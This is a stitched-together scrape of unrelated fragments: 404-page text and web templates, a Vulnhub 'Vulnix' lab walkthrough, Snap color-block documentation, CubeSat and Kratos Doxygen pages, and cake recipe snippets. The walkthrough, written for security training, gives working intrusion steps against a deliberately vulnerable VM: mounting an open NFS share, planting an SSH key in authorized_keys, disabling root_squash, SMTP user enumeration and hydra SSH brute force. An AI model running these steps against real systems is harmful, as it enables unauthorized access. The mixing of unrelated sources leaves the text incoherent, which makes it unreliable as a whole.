
This page could not be found or might have never existed.
You can learn more about me at glendc.com.
{% extends "layouts/base.html" %} {% block content %}
This page could not be found or might have never existed.
You can learn more about me at glendc.com.


---
layout: post
title: "HackLAB: Vulnix"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, nfs, nfspy, finger, sudo]
---
Hostname: vulnix
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/vulnix# nmap -Pn -sT -sV -sC -A -oA vulnix -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-24 23:33 EDT
Nmap scan report for vulnix.homenet.dom (<IP_ADDRESS>)
Host is up (0.0029s latency).
Not shown: 65518 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 5.9p1
Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2019-04-25T03:34:55+00:00; +6s from scanner time.
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA STLS SASL PIPELINING UIDL TOP RESP-CODES
|_ssl-date: 2019-04-25T03:34:55+00:00; +6s from scanner time.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 48766/udp mountd
| 100005 1,2,3 52406/tcp mountd
| 100021 1,3,4 40343/udp nlockmgr
| 100021 1,3,4 59897/tcp nlockmgr
| 100024 1 39331/tcp status
| 100024 1 52861/udp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: OK IDLE IMAP4rev1 SASL-IR more have post-login LOGIN-REFERRALS capabilities Pre-login listed STARTTLS ID LITERAL+ ENABLE LOGINDISABLEDA0001
|_ssl-date: 2019-04-25T03:34:55+00:00; +6s from scanner time.
512/tcp open exec?
513/tcp open login?
514/tcp open tcpwrapped
993/tcp open ssl/imaps?
|_ssl-date: 2019-04-25T03:34:54+00:00; +6s from scanner time.
995/tcp open ssl/pop3s?
|_ssl-date: 2019-04-25T03:34:54+00:00; +6s from scanner time.
2049/tcp open nfs_acl 2-3 (RPC #100227)
39331/tcp open status 1 (RPC #100024)
46571/tcp open mountd 1-3 (RPC #100005)
51367/tcp open mountd 1-3 (RPC #100005)
52406/tcp open mountd 1-3 (RPC #100005)
59897/tcp open nlockmgr 1-4 (RPC #100021)
MAC Address: 00:0C:29:FC:C6:E7 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 5s, deviation: 0s, median: 5s
TRACEROUTE
HOP RTT ADDRESS
1 2.93 ms vulnix.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.93 seconds
Gaining Access
Wow! Lots of services to look into. And, unlike most, no web services. The likely "most vulnerable" service we see is NFS/RPC. Let's see what is available using showmount.
root@kali:~/Walkthroughs/vulnix# showmount -e <IP_ADDRESS>
Export list for <IP_ADDRESS>:
/home/vulnix *
Great! We already see a wide open NFS share. Let's mount it and see what's inside (and if root squashing is enabled).
root@kali:~/Walkthroughs/vulnix# mkdir -p nfs/home-vulnix
root@kali:~/Walkthroughs/vulnix# cd nfs
root@kali:~/Walkthroughs/vulnix/nfs# mount -t nfs <IP_ADDRESS>:/home/vulnix home-vulnix
root@kali:~/Walkthroughs/vulnix/nfs# ls -l
total 4
drwxr-x--- 2 nobody<PHONE_NUMBER> 4096 Sep 2 2012 home-vulnix
Looks like the permissions for the export aren't going to allow us to just browse through. Let's unmount the export and remount using nfspy.
root@kali:~/Walkthroughs/vulnix/nfs# umount home-vulnix
root@kali:~/Walkthroughs/vulnix/nfs# nfspy -o server=<IP_ADDRESS>:/home/vulnix,hide,allow_other,rw,intr home-vulnix
root@kali:~/Walkthroughs/vulnix/nfs# ls -l
total 4
drwxr-x--- 2 2008 2008 4096 Sep 2 2012 home-vulnix
root@kali:~/Walkthroughs/vulnix/nfs# cd home-vulnix/
root@kali:~/Walkthroughs/vulnix/nfs/home-vulnix# ls -a
. .. .bash_logout .bashrc .profile
This time we were able to mount it and view the UID/GID for the user (2008/2008). Based on the home directory name, I'll assume this is the UID/GID for the user vulnix. Let's use the finger service that is available to see if that user exists.
root@kali:~/Walkthroughs/vulnix# finger<EMAIL_ADDRESS>Login: vulnix Name:
Directory: /home/vulnix Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Sure enough. The next thing to do would be see if we can create SSH keys in the user's home directory and login as them. Before that, we'll take a quick peak into the hidden files already in the directory. Checking each of the files, they don't contain anything of interest.
Let's see if we can create a .ssh directory and authorized_keys file.
root@kali:~/Walkthroughs/vulnix/nfs/home-vulnix# cd .ssh
root@kali:~/Walkthroughs/vulnix/nfs/home-vulnix/.ssh# cp ../../../vulnix.pub authorized_keys
cp: failed to preserve ownership for 'authorized_keys': Operation not permitted
root@kali:~/Walkthroughs/vulnix/nfs/home-vulnix/.ssh# ls -l
total 1
-rw------- 1 2008 2008 391 Apr 25 06:57 authorized_keys
Looking good so far. Let's try to SSH to the server as vulnix.
root@kali:~/Walkthroughs/vulnix# ssh -i vulnix<EMAIL_ADDRESS>Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Thu Apr 25 12:00:11 BST 2019
System load: 0.0 Processes: 93
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: <IP_ADDRESS>
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
We are in! 😄
Maintaining Access
Since we have SSH access, I skipped this step.
Privilege Escalation
Checking the kernel version using uname -a. There aren't any known exploits for this version of the kernel.
vulnix@vulnix:~$ uname -a
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
The NFS export has root_squash enabled, so we won't be able to escalate using the NFS share.
vulnix@vulnix:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,root_squash)
Or can we... checking sudo permissions, it looks like we can edit the /etc/exports file using sudoedit.
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
The problem is, how do we restart the nfs service after we make the changes. You have to be root to restart services and/or reboot... or do you. According to this article, you can set the following values and force a hard reboot.
Guess we can try it...
But first, we'll edit the exports file to turn off root squashing.
Because I'm working in 'screen', I had to make some terminal adjustments to get sudoedit to work. Also, the default editor was nano, so I changed it to vim.
vulnix@vulnix:~$ export TERM=xterm
vulnix@vulnix:~$ export SUDO_EDITOR=/usr/bin/vim
vulnix@vulnix:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,no_root_squash)
Now, for the "magic" commands...
vulnix@vulnix:~$ echo 1 > /proc/sys/kernel/sysrq
-bash: /proc/sys/kernel/sysrq: Permission denied
vulnix@vulnix:~$ echo b > /proc/sysrq-trigger
-bash: /proc/sysrq-trigger: Permission denied
So much for that.
Since having to reboot the box seems lame to me, I'm going to stop here. If you want to escalate after a reboot, just follow the steps in
hackfest2016 : Orcus.
Pivoting
N/A
Clean Up
Additional Info
SMTP VRFY
The SMTP service supports the VRFY command, so we can try to enumerate valid accounts by running smtp-user-enum.
root@kali:~/Walkthroughs/vulnix# smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.tx
t -t <IP_ADDRESS> -m 15
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 15
Usernames file ........... /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
Target count ............. 1
Username count ........... 21169
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Thu Apr 25 00:57:06 2019 #########
<IP_ADDRESS>: backup exists
<IP_ADDRESS>: BACKUP exists
<IP_ADDRESS>: BIN exists
<IP_ADDRESS>: bin exists
<IP_ADDRESS>: daemon exists
<IP_ADDRESS>: DAEMON exists
<IP_ADDRESS>: dovecot exists
<IP_ADDRESS>: dovenull exists
<IP_ADDRESS>: games exists
<IP_ADDRESS>: GAMES exists
<IP_ADDRESS>: gnats exists
<IP_ADDRESS>: irc exists
<IP_ADDRESS>: landscape exists
<IP_ADDRESS>: libuuid exists
<IP_ADDRESS>: list exists
<IP_ADDRESS>: lp exists
<IP_ADDRESS>: MAIL exists
<IP_ADDRESS>: mail exists
<IP_ADDRESS>: man exists
<IP_ADDRESS>: messagebus exists
<IP_ADDRESS>: news exists
<IP_ADDRESS>: NOBODY exists
<IP_ADDRESS>: nobody exists
<IP_ADDRESS>: postfix exists
<IP_ADDRESS>: POSTFIX exists
<IP_ADDRESS>: postmaster exists
<IP_ADDRESS>: PROXY exists
<IP_ADDRESS>: proxy exists
<IP_ADDRESS>: ROOT exists
<IP_ADDRESS>: root exists
<IP_ADDRESS>: sshd exists
<IP_ADDRESS>: SSHD exists
<IP_ADDRESS>: statd exists
<IP_ADDRESS>: SYNC exists
<IP_ADDRESS>: sync exists
<IP_ADDRESS>: sys exists
<IP_ADDRESS>: syslog exists
<IP_ADDRESS>: user exists
<IP_ADDRESS>: User exists
<IP_ADDRESS>: USER exists
<IP_ADDRESS>: uucp exists
<IP_ADDRESS>: UUCP exists
<IP_ADDRESS>: whoopsie exists
<IP_ADDRESS>: www-data exists
######## Scan completed at Thu Apr 25 00:58:01 2019 #########
44 results.
21169 queries in 55 seconds (384.9 queries / sec)
This produced the following list of unique users:
-
backup
-
bin
-
daemon
-
dovecot
-
dovenull
-
games
-
gnats
-
irc
-
landscape
-
libuuid
-
list
-
lp
-
mail
-
man
-
messagebus
-
news
-
nobody
-
postfix
-
postmaster
-
proxy
-
root
-
sshd
-
statd
-
sync
-
sys
-
syslog
-
user
-
uucp
-
whoopsie
-
www-data
Obviously the 'whoopsie' account stands out (along with some others).
Let's use the finger service to try to get information about each of these user accounts.  The most useful information we gleaned from finger was which users have a login shell defined. This lets us know which accounts we might want to try to brute force using SSH. That list includes:
-
backup
-
bin
-
daemon
-
games
-
gnats
-
irc
-
libuuid
-
list
-
lp
-
mail
-
man
-
news
-
nobody
-
proxy
-
root
-
sys
-
user
-
uucp
-
vulnix
-
www-data
We are going to pull together a handful of wordlists and create a "master" list to use to try to crack some passwords. We'll use hydra to try to brute force the SSH service.
root@kali:~/Walkthroughs/vulnix# cat /usr/share/seclists/Passwords/probable-v2-top207.txt \
> /usr/share/seclists/Passwords/darkweb2017-top1000.txt \
> /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
> /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
> /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt \
> /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt | sort -u > wordlist.txt
Before using a wordlist though, we'll see if any users have a simple password variation of their username as a password. Maybe we'll get lucky.
root@kali:~/Walkthroughs/vulnix# hydra -o ssh-crack -t 4 -L ssh-users -u -e nsr
ssh://<IP_ADDRESS>
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 60 login tries (l:20/p:3), ~15 tries per task
1 of 1 target completed, 0 valid passwords found
Nope! Time to use the wordlist. We'll start with a simple one.
root@kali:~/Walkthroughs/vulnix# hydra -o ssh-crack -t 4 -L ssh-users -u -e nsr -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
ssh://<IP_ADDRESS>
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 480 login tries (l:20/p:24), ~120 tries per task
[STATUS] 141.00 tries/min, 141 tries in 00:01h, 339 to do in 00:03h, 4 active
[STATUS] 126.00 tries/min, 378 tries in 00:03h, 102 to do in 00:01h, 4 active
[22][ssh] host: <IP_ADDRESS> login: user password: letmein
1 of 1 target successfully completed, 1 valid password found
Looks like we found a vulnerable account.


30 The color from block, for example, provides different pulldown menus depending on which scale you choose: You can also type the crayon name: There are many scales: The white slot at the end of some of the blocks has two purposes. It can be used to add a transparency to a color (0=opaque, 100=transparent): or it can be expanded to enter three or four numbers for a vector directly into the block, so these are equivalent: But note that a transparency number in a four-number RGBA vector is on the scale 255=opaque, 0=transparent, so the following are not equivalent: Set pen crayon to provides the equivalent of a box of 100 crayons. They are divided into color groups, so the menu in the set pen crayon to input slot has submenus. The colors are chosen so that starting from crayon 0, change pen crayon by 10 rotates through an interesting, basic set of ten colors: Using change pen crayon by 5 instead gives ten more colors, for a total of 20:


|
Artemis Cubesat Kit - BeagleBone Source Code
0.1
SourcecodefortheBeagleBoneBlack
|
#include "CubeSat.h"
#include "device/PyCubed.h"
#include <iostream>
#include <fstream>
#include <unordered_map>
#include <net/if.h>
#include <linux/if_tun.h>
Macros | |
| #define | SLEEP_TIME 0.25 |
| #define | PYCUBED_UART 0 |
| #define | PYCUBED_BAUD 9600 |
| #define | MAXBUFFERSIZE 2560 |
| #define | TUN_BUF_SIZE 2000 |
Functions | |
| void | InitPyCubed () |
| Sets up the PyCubed. More... | |
| bool | ConnectPyCubed () |
| Tries to connect to the PyCubed. More... | |
| void | UpdatePyCubed () |
| Handles operations with the PyCubed. More... | |
| void | Shutdown () |
| Shutdown callback function. More... | |
| string | Request_IsUp () |
| string | Request_SendMessage (vector< string > args) |
| string | Request_GetIMUData () |
| string | Request_GetGPSData () |
| string | Request_GetPowerData () |
| string | Request_GetTemperatureData () |
| string | Request_KillRadio () |
| void | StartTunnel (const std::string &tunnel_ip) |
| void | tcv_read_loop () |
| void | tcv_write_loop () |
| void | tun_read_loop () |
| void | tun_write_loop () |
| int32_t | request_tunnel_queue_size (char *request, char *response, Agent *) |
| int32_t | request_serial_queue_size (char *request, char *response, Agent *) |
| int | main (int argc, char **argv) |
Variables | |
| SimpleAgent * | agent |
| CPU * | pycubed |
| IMU * | imu |
| GPS * | gps |
| Battery * | battery |
| RadioTransceiver * | radio |
| Timer | connection_timer |
| PyCubed * | handler = nullptr |
| static queue< vector< uint8_t > > | tun_fifo |
| static queue< vector< uint8_t > > | tcv_fifo |
| static condition_variable | tcv_fifo_check |
| static condition_variable | tun_fifo_check |
| static int | tun_fd |
| static string | rxr_devname |
| static string | txr_devname |
| static uint16_t | tunnel_mtu = 512 |
| int | tun_out |
| int | tun_in |
| int | gl_in |
| int | gl_out = 0 |
| #define MAXBUFFERSIZE 2560 |
| #define PYCUBED_BAUD 9600 |
| #define PYCUBED_UART 0 |
| #define SLEEP_TIME 0.25 |
| #define TUN_BUF_SIZE 2000 |
| bool ConnectPyCubed | ( | ) |
Tries to connect to the PyCubed.
| void InitPyCubed | ( | ) |
Sets up the PyCubed.
| int main | ( | int | argc, |
| char ** | argv | ||
| ) |
| string Request_GetGPSData | ( | ) |
| string Request_GetIMUData | ( | ) |
| string Request_GetPowerData | ( | ) |
| string Request_GetTemperatureData | ( | ) |
| string Request_IsUp | ( | ) |
| string Request_KillRadio | ( | ) |
| string Request_SendMessage | ( | vector< string > | args | ) |
| int32_t request_serial_queue_size | ( | char * | request, |
| char * | response, | ||
| Agent * | |||
| ) |
| int32_t request_tunnel_queue_size | ( | char * | request, |
| char * | response, | ||
| Agent * | |||
| ) |
| void Shutdown | ( | ) |
Shutdown callback function.
| void StartTunnel | ( | const std::string & | tunnel_ip | ) |
| void tcv_read_loop | ( | ) |
| void tcv_write_loop | ( | ) |
| void tun_read_loop | ( | ) |
| void tun_write_loop | ( | ) |
| void UpdatePyCubed | ( | ) |
Handles operations with the PyCubed.
| SimpleAgent* agent |
| Battery* battery |
| Timer connection_timer |
| int gl_in |
| int gl_out = 0 |
| GPS* gps |
| PyCubed* handler = nullptr |
| IMU* imu |
| CPU* pycubed |
| RadioTransceiver* radio |
|
static |
|
static |
|
static |
|
static |
|
static |
|
static |
| int tun_in |
| int tun_out |
|
static |
|
static |


Make a showstopping cake this Easter. Top chocolate sponge with peanut butter frosting, ganache drip, pretzel bark and chocolate eggs for a divine dessert
The nutrition is per serving
When baking a cheesecake, it is important not to over bake it. You only want to bake it until the middle has a slight wiggle, not until it is rock solid.
It is important that you use a water bath, discussed at the right, to ensure even baking of your cheesecake.


{% extends 'base.html' %} {% block content %}
Fill out the form below to add your own creation to the Cookbook. Make sure you name it, add your ingredients and the instructions.
star_border
Ingredients


|
KratosMultiphysics
KRATOS Multiphysics (Kratos) is a framework for building parallel, multi-disciplinary simulation software, aiming at modularity, extensibility, and high performance. Kratos is written in C++, and counts with an extensive Python interface.
|
Custom unordered map container to be used by the mapper. More...
#include <mapping_variables.h>
Public Member Functions | |
Life Cycle | |
| IndexMap () | |
| Default constructors. More... | |
| virtual | ~IndexMap () |
| Destructor. More... | |
Operations | |
| IndexType | GetId (IteratorType ThisIterator) |
| Returns the id corresponding a iterator. More... | |
| IndexType | GetOtherId (IteratorType ThisIterator) |
| Returns the new entity id corresponding a iterator. More... | |
| bool | Has (const IndexType IndexOrigin) override |
| It checks if an ID exists in the map. More... | |
| void | AddId (const IndexType IndexOrigin, const IndexType IndexNewEntity=0) override |
| It adds a new ID to the map. More... | |
| void | RemoveId (const IndexType IndexOrigin) override |
| It removes one particular pair from the map. More... | |
| IndexType | GetNewEntityId (const IndexType IndexOrigin) override |
| It returns the new created entity ID. More... | |
| void | SetNewEntityId (const IndexType IndexOrigin, const IndexType IndexNewEntity) override |
| It sets the new created entity ID. More... | |
| std::string | Info () const override |
| Turn back information as a string. More... | |
| void | save (Serializer &rSerializer) const override |
| void | load (Serializer &rSerializer) override |
| Public Member Functions inherited from Kratos::IndexDatabase | |
| KRATOS_CLASS_POINTER_DEFINITION (IndexDatabase) | |
| IndexDatabase () | |
| Default constructors. More... | |
| virtual | ~IndexDatabase () |
| Destructor. More... | |
Type Definitions | |
Counted pointer of IndexMap | |
| typedef std::unordered_map< IndexType, IndexType > | BaseType |
| typedef iterator | IteratorType |
| KRATOS_CLASS_POINTER_DEFINITION (IndexMap) | |
Custom unordered map container to be used by the mapper.
Contains a map of IDs of paired conditions, and the new created condition
| typedef std::unordered_map<IndexType, IndexType> Kratos::IndexMap::BaseType |
| typedef iterator Kratos::IndexMap::IteratorType |
|
inline |
Default constructors.
|
inlinevirtual |
Destructor.
|
inlineoverridevirtual |
It adds a new ID to the map.
| IndexOrigin | The condition ID to remove |
| IndexNewEntity | The new created entity ID |
Reimplemented from Kratos::IndexDatabase.
|
inline |
Returns the id corresponding a iterator.
| ThisIterator | The iterator of the class |
It returns the new created entity ID.
| IndexOrigin | The condition ID to remove |
Reimplemented from Kratos::IndexDatabase.
|
inline |
Returns the new entity id corresponding a iterator.
| ThisIterator | The iterator of the class |
It checks if an ID exists in the map.
| IndexOrigin | The condition ID to remove |
Reimplemented from Kratos::IndexDatabase.
|
inlineoverridevirtual |
Turn back information as a string.
Reimplemented from Kratos::IndexDatabase.
| Kratos::IndexMap::KRATOS_CLASS_POINTER_DEFINITION | ( | IndexMap | ) |
|
inlineoverridevirtual |
Reimplemented from Kratos::IndexDatabase.
|
inlineoverridevirtual |
It removes one particular pair from the map.
| IndexOrigin | The condition ID to remove |
Reimplemented from Kratos::IndexDatabase.
|
inlineoverridevirtual |
Reimplemented from Kratos::IndexDatabase.
|
inlineoverridevirtual |
It sets the new created entity ID.
| IndexOrigin | The condition ID to remove |
| IndexNewEntity | The new created entity ID |
Reimplemented from Kratos::IndexDatabase.


Writing a diary allows you to focus on your writing without worrying about your audience or what anyone else will think
Oops, {{registerPayload.message}}